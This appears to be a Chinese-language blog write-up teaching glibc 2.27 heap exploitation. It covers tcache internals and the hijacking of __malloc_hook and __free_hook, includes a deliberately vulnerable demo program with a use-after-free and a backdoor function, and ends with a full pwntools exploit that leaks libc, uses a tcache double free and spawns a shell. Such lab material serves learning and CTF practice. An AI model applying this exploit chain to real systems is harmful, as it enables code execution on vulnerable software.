banner
NEWS LETTER

在2.27版本中尝试进行堆的简单攻击

Scroll down

在2.27版本中尝试进行堆的简单攻击

tcache bin 基础

  • tcache机制是glibc 2.26之后引入的一种技术,它提高了堆管理器的性能,但是舍弃了很多的安全检查,所以有多种利用方式,现在的题目一般都基于更新版本的libc,tcache肯定是必不可少的一环,而且是最开始的那一环。

  • 1.每个线程默认使用64个单链表结构的bins,每个bins最多存放7个chunk,64位机器16字节递增,从0x20到0x410,也就是说位于以上大小的chunk释放后都会先行存入到tcache bin中。

  • 2.对于每个tcache bin单链表,它和fast bin一样都是先进后出,而且prev_inuse标记位都不会被清除,所以tcache bin中的chunk不会被合并,即使和Top chunk相邻。

  • tcache机制出现后,每次产生堆都会先产生一个0x250大小的堆块,该堆块位于堆的开头,用于记录64个bins的地址(这些地址指向用户数据部分)以及每个bins中chunk数量。在这个0x250大小的堆块中,前0x40个字节用于记录每个bins中chunk数量,每个字节对应一条tcache bin链的数量,从0x20开始到0x410结束,刚好64条链,然后剩下的每8字节记录一条tcache bin链的开头地址,也是从0x20开始到0x410结束。还有一点值得注意的是,tcache bin中的fd指针是指向malloc返回的地址,也就是用户数据部分,而不是像fast bin单链表那样fd指针指向chunk头。

tcache_entry

1
2
3
4
typedef struct tcache_entry
{
struct tcache_entry *next;
} tcache_entry;

tcache_entry用于链接空闲的chunk结构体,其中next指针指向下一个大小相同的chunk。(fd指向fd)

image-20251023174725729

tcache_perthread_struct

1
2
3
4
5
6
7
8
9
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

# define TCACHE_MAX_BINS

static __thread tcache_perthread_struct *tcache = NULL;

tcache_perthread_struct:管理tcache链表的,位于heap段的起始位置,size大小为0x251
tcache_entry :用单向链表的方式链接了相同大小的处于空闲状态(free 后)的 chunk
counts :记录了 tcache_entry 链上空闲 chunk 的数目,每条链上最多可以有 7 个 chunk

tcache_perthread_struct、tcache_entry和malloc_chunk三者的关系如下

image-20251023174741172

执行流程

  • 第一次malloc时,回显malloc一块内存用来存放tcache_perthread_struct,这块内存size一般为0x251。

  • 释放chunk时,如果chunk的size小于small bin size,在进入tcache之前会先放进fastbin或者unsorted bin中。

  • 在放入tcache后:

  • 先放到对应的tcache中,直到tcache被填满(7个)

  • tcache被填满后,接下来再释放chunk,就会直接放进fastbin或者unsorted bin中

  • tcache中的chunk不会发生合并,不取消inuse bit

  • 重新申请chunk,并且申请的size符合tcache的范围,则先从tcache中取chunk,直到tcache为空

  • tcache为空时,如果fastbin、small bin、unsorted bin中有size符合的chunk,会先把fastbin、small bin、unsorted bin中的chunk放到tcache中,直到填满,之后再从tcache中取

  • 需要注意的是,在采用tcache的情况下,只要是bin中存在符合size大小的chunk,那么在重启之前都需要经过tcache一手。并且由于tcache为空时先从其他bin中导入到tcache,所以此时chunk在bin中和在tcache中的顺序会反过来
    ## 绕过tcache

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    #include <stdio.h>
    #include <stdlib.h>
    int main()
    {
    long long *ptr[7];
    long long *a = malloc(0x80);
    for (int i=0; i<7; i++)
    ptr[i] = malloc(0x80);
    for (int i=0; i<7; i++)
    free(ptr[i]);
    free(a);
    printf("libc addr is %llx\n", (long long)a[0]);
    return 0;
    }

    image-20251023174759356
    然后再free(a);
    image-20251023174812256
    tcache机制无非就是增加了一层缓存,如果我们还是想使用fast bin/unsorted bin等的性质,那么需要将对应的tcache bin填满,然后再执行相应的操作就可以了。

__malloc_hook以及__free_hoook的作用

在调用malloc或者free的时候,如果 malloc_hook 和free_hook的值存在,则会调用malloc_hook或者free_hook指向的地址,假设在使用one_gadget的时候满足one_gadget的调用条件,当overwrite malloc_hook和free_hook的时候,便可以getshell,执行malloc的时候,其参数是size大小,所以overwrite malloc_hook的时候使用one_gadget的地址可以getshell。执行free的时候,可以将__free_hook的值overwrite为system的地址,通过释放(/bin/sh\x00)的chunk,可以达到system(/bin/sh)来getshell

劫持原理

malloc_hook位于main_arena上方-0x10的位置,可以通过fake chunk来overwrite该值实现getshell

free_hook 位于libc上_free_hook上,可以通过fake chunk来overwrite该值达到劫持程序流的目的

malloc_hook

  • malloc_hook的调用
1
2
3
4
  2907   void *(*hook) (size_t, const void *)
► 2908 = atomic_forced_read (__malloc_hook);
2909 if (__builtin_expect (hook != NULL, 0))
2910 return (*hook)(bytes, RETURN_ADDRESS (0));
  • 对应的汇编代码为
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
.text:00000000000730AE                 push    rbp             ; Alternative name is '__libc_malloc'
.text:00000000000730AF push rbx
.text:00000000000730B0 sub rsp, 8
.text:00000000000730B4 mov rbp, rdi
.text:00000000000730B7 mov rax, cs:__malloc_hook_ptr #取malloc_hook的位置
.text:00000000000730BE mov rax, [rax] #取malloc_hook的值
.text:00000000000730C1 test rax, rax
.text:00000000000730C4 jz short loc_730D2
.text:00000000000730C6 mov rsi, [rsp+18h]
.text:00000000000730CB call rax
malloc_hook的存储地址
.got:0000000000388EF8 __malloc_hook_ptr dq offset __malloc_hook
malloc_hook的存储位置
.data:0000000000389B10 __malloc_hook dq offset malloc_hook_ini
.data:0000000000389B10 ; DATA XREF: LOAD:000000000000A380↑o
.data:0000000000389B10 ; .got:__malloc_hook_ptr↑o
.data:0000000000389B18 align 20h
.data:0000000000389B20 ; malloc_state main_arena
.data:0000000000389B20 main_arena malloc_state <0, 0, 0, 0, 0, 0, 0, offset main_arena, 0, 1, 0, 0>
  • 利用思路:在执行malloc时,会检测__malloc_hook的值,如果malloc_hook的值存在,将调用malloc_hook指向的地址call rax,如果我们将该值overite 为one_gadget,当程序执行malloc的时候,便可以getshell
  • 实际利用过程
    • malloc_hook的存储的位置
1
2
3
4
gdb-peda$ p &__malloc_hook
$2 = (void *(**)(size_t, const void *)) 0x7ffff7dd5b10 <__malloc_hook>
gdb-peda$ p &main_arena
$3 = (struct malloc_state *) 0x7ffff7dd5b20 <main_arena>
  • 在malloc_hook 上方查找满足条件的fastbin 的size
1
2
3
4
5
gdb-peda$ x/8gx  0x7ffff7dd5b00-0x20
0x7ffff7dd5ae0 <_IO_wide_data_0+288>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd5af0 <_IO_wide_data_0+304>: 0x00007ffff7dd4260 0x0000000000000000
0x7ffff7dd5b00 <__memalign_hook>: 0x00007ffff7ac0305 0x00007ffff7ac02c6
0x7ffff7dd5b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
  • 查找符合条件的fake_fastbin,pwndbg内置了查找符合条件的fake_fast_bin的命令
1
2
3
4
5
6
7
8
9
10
gdb-peda$ find_fake_fast 0x7ffff7dd5b10 0x7f
FAKE CHUNKS
Fake chunk | Allocated chunk | PREV_INUSE | IS_MMAPED | NON_MAIN_ARENA
Addr: 0x7ffff7dd5aed
prev_size: 0xfff7ac02c600007f
size: 0x7f
fd: 0x00
bk: 0x7f
fd_nextsize: 0xfff7ac0305000000
bk_nextsize: 0xfff7dd4260000000

伪造的fastbin的addr为0x7ffff7dd5aed,当程序可以在该位置申请chunk的时候,便可以达到程序流劫持getshell

free_hook

  • free_hook的调用
1
2
3
4
5
6
7
  2939   void (*hook) (void *, const void *)
► 2940 = atomic_forced_read (__free_hook);
2941 if (__builtin_expect (hook != NULL, 0))
2942 {
2943 (*hook)(mem, RETURN_ADDRESS (0));
2944 return;
2945 }
  • 对应的汇编代码为
1
2
3
4
5
6
7
8
9
10
11
12
汇编代码
.text:00000000000736F4 sub rsp, 8 ; Alternative name is 'cfree'
.text:00000000000736F8 mov rax, cs:__free_hook_ptr
.text:00000000000736FF mov rax, [rax]
.text:0000000000073702 test rax, rax
.text:0000000000073705 jz short loc_73710
.text:0000000000073707 mov rsi, [rsp+8]
.text:000000000007370C call rax
free_hook 的存储地址
.got:0000000000388F00 __free_hook_ptr dq offset __free_hook ; DATA XREF: ptmalloc_lock_all+EA↑r
free_hook 的存储位置
.bss:000000000038B7A8 __free_hook dq ? ; DATA XREF: LOAD:0000000000005190↑o
  • 利用思路:

    • 通过改写main_arena中的top_chunk的地址,将top_chunk的值改写到free_hook上方指定的位置,通过不断向top_chunk申请chunk,最终可以分配到包含free_hook的区块,从而可以改写__free_hook的值。
    • 通过改写global_max_fast的值,可以在free_hook的上方找到一个足够大包含free_hook的块,当改写了global_max_fast后,向heap申请的块都将按照fastbin来处理
    • 通过unsorted bin attack 在free_hook上方伪造 0x7f大小的chunk,再通过fastbin attack 来修改free_hoook的值
  • 实际利用过程

    • 修改top_chunk

      • free_hook的存储的位置,在 free_hook上方 -0xb58 我们可以找到满足top_chunk要求的大小

        1
        2
        3
        4
        5
        6
        gdb-peda$ p &__free_hook
        $5 = (void (**)(void *, const void *)) 0x7ffff7dd77a8 <__free_hook>
        gdb-peda$ x/8gx 0x7ffff7dd77a8 -0xb58
        0x7ffff7dd6c50 <initial+16>: 0x0000000000000004 0x697b5349788728d7
        0x7ffff7dd6c60 <initial+32>: 0x0000000000000000 0x0000000000000000
        0x7ffff7dd6c70 <initial+48>: 0x0000000000000000 0x0000000000000000
      • 伪造的fastbin的addr为0x7ffff7dd6c50,当程序可以在该位置申请chunk的时候,通过重复向top_chunk申请,最终覆写__free_hook的值为system的值通过free /bin/sh\x00的chunk,达到程序流劫持getshell。

    • 修改global_max_fast,但是这依赖于可以malloc的chunk的大小是可控的

      • 通过fastbin attack 使得可以malloc 指定包含free_hook大小的chunk,比如利用0x7ffff7dd6c58处的值,但是这里要合理去构造偏移

        1
        2
        3
        4
        5
        gdb-peda$ x/200gx 0x7ffff7dd77a8-0xC00
        0x7ffff7dd6ba8 <lock+8>: 0x0000000000000000 0x0000000000000000
        ....
        0x7ffff7dd6c48 <initial+8>: 0x0000000000000001 0x0000000000000004
        0x7ffff7dd6c58 <initial+24>: 0xbf378114d045c300 0x0000000000000000
    • 通过unsorted_bin attack 来写入free_hook上方0x7f的值,可以在free_hook上方伪造出0x7f大小的chunk,再可以通过fastbin attack 来malloc得到包含free_hook的chunk,写入system的地址,通过free(/bin/sh)来实现利用。

    注:由于2.27的tcache不对size位进行检查,所以我不需要去找到free_hook去伪造chunk,再通过fastbin attack,同时注意tcache bin也是可以进行doublefree

泄露libc

演示脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>
char *chunk_list[0x100];
void menu() {
puts("1. add chunk");
puts("2. delete chunk");
puts("3. edit chunk");
puts("4. show chunk");
puts("5. exit");
puts("choice:");
}

int get_num() {
char buf[0x10];
read(0, buf, sizeof(buf));
return atoi(buf);
}

void add_chunk() {
puts("index:");
int index = get_num();
puts("size:");
int size = get_num();
chunk_list[index] = malloc(size);
}

void delete_chunk() {
puts("index:");
int index = get_num();
free(chunk_list[index]);
}

void edit_chunk() {
puts("index:");
int index = get_num();
puts("length:");
int length = get_num();
puts("content:");
read(0, chunk_list[index], length);
}

void show_chunk() {
puts("index:");
int index = get_num();
puts(chunk_list[index]);
}
int backdoor() {
char shell[] = "/bin/sh";
asm (
"xor %%rdi, %%rdi;"
"xor %%rsi, %%rsi;"
"xor %%rdx, %%rdx;"
"mov $0x3b, %%rax;"
"lea %0, %%rdi;"
"syscall;"
:
: "m" (shell)
: "%rax", "%rdi", "%rsi", "%rdx"
);
return 0;
}
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);

while (1) {
menu();
int choice = get_num();
switch (choice) {
case 1:
add_chunk();
break;
case 2:
delete_chunk();
break;
case 3:
edit_chunk();
break;
case 4:
show_chunk();
break;
case 5:
exit(0);
default:
printf("invalid choice %d.\n", choice);
}
}
}

编译之后patchelf一个2.27的libc,理论上低版本编译是可以切换高版本的libc,高版本编译切换不了低版本的libc,所以我建议是使用ubuntu16.04去编译这个heap.c源文件,这样一个heap文件可以复现很多堆的漏洞,我觉得这个demo还是很方便的,可以自己复现一些堆的漏洞,更好的总结吧

unsortbin泄露

1
2
3
4
5
6
7
8
9
10
11
add(0,0x410)
add(1,0x80)

free(0)
add(2,0x410)
show(2)

p.recvuntil('\n')
leak = p.recv(6)
libc_base = u64(leak.ljust(8, b'\x00')) - 0x3ebca0
log_addr('libc_base')

由于上述的demo中有uaf漏洞,所以这里可以利用unsortedbin中的特点去泄露libc(但是2.29引入了UsortedBin Attack的缓解机制,这里总结的是2.27堆的简单攻击,所以不再多述)

image-20251025144504488

这里计算出了libc

简单攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
add(2,0x60)
add(3,0x60)
free(2)
free(3)
free(3)
payload = p64(free_hook)
edit(3,len(payload),payload)
add(4,0x60)
add(5,0x60)
# add(6, 0x60)
payload = p64(system)
edit(5, len(payload), payload)
add(6,0x60)
edit(6, 8, b"/bin/sh\x00")
free(6)

这里首先进行doublefree,然后第一次edit3修改fd指针为free_hook

image-20251025204425250

将free_hook申请出来到堆上,然后我们在堆上去修改,将free_hook修改为system,(其实也可以修改成ogg的,但是我没有成功)

最后再次创建一个chunk6,修改chunk6里面的内容为/bin/sh,free掉,即是调用system(/bin/sh)。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from tools import *

p = process('./heap')
context.log_level = 'debug'
elf = ELF('./heap')
libc = ELF('/home/zzt/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6')

def add(index,size):
p.sendlineafter(b"choice:",b'1')
p.sendlineafter(b"index:", str(index).encode())
p.sendlineafter(b"size:", str(size).encode())

def free(index):
p.sendlineafter(b"choice:",b'2')
p.sendlineafter(b"index:", str(index).encode())

def edit(index, length, content):
p.sendlineafter(b"choice:",b'3')
p.sendlineafter(b"index:", str(index).encode())
p.sendlineafter(b"length:", str(length).encode())
p.sendlineafter(b"content:", content)

def show(index):
p.sendlineafter(b"choice:",b'4')
p.sendlineafter(b"index:",b'index')

add(0,0x410)
add(1,0x60)
free(0)
show(0)

p.recvuntil('\n')
leak = p.recv(6)
libc_base = u64(leak.ljust(8, b'\x00')) - 0x3ebca0
log_addr('libc_base')

free_hook = libc_base + libc.sym['__free_hook']
log_addr('free_hook')
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
ogg = libc_base + 0x10a38c
add(2,0x60)
add(3,0x60)
free(2)
free(3)
free(3)
payload = p64(free_hook)
edit(3,len(payload),payload)
add(4,0x60)
add(5,0x60)
# add(6, 0x60)
payload = p64(system)
edit(5, len(payload), payload)
add(6,0x60)
edit(6, 8, b"/bin/sh\x00")
free(6)

# debug(p)
# pause()


p.interactive()

参考文章

Tcache attack-先知社区

malloc_hook以及free_hook劫持原理 | S3cana’s Blog

I'm so cute. Please give me money.

其他文章
目录导航 置顶
  1. 1. 在2.27版本中尝试进行堆的简单攻击
    1. 1.1. tcache bin 基础
      1. 1.1.1. 执行流程
      2. 1.1.2. __malloc_hook以及__free_hoook的作用
      3. 1.1.3. 劫持原理
      4. 1.1.4. malloc_hook
      5. 1.1.5. free_hook
    2. 1.2. 泄露libc
      1. 1.2.1. unsortbin泄露
    3. 1.3. 简单攻击
    4. 1.4. exp:
    5. 1.5. 参考文章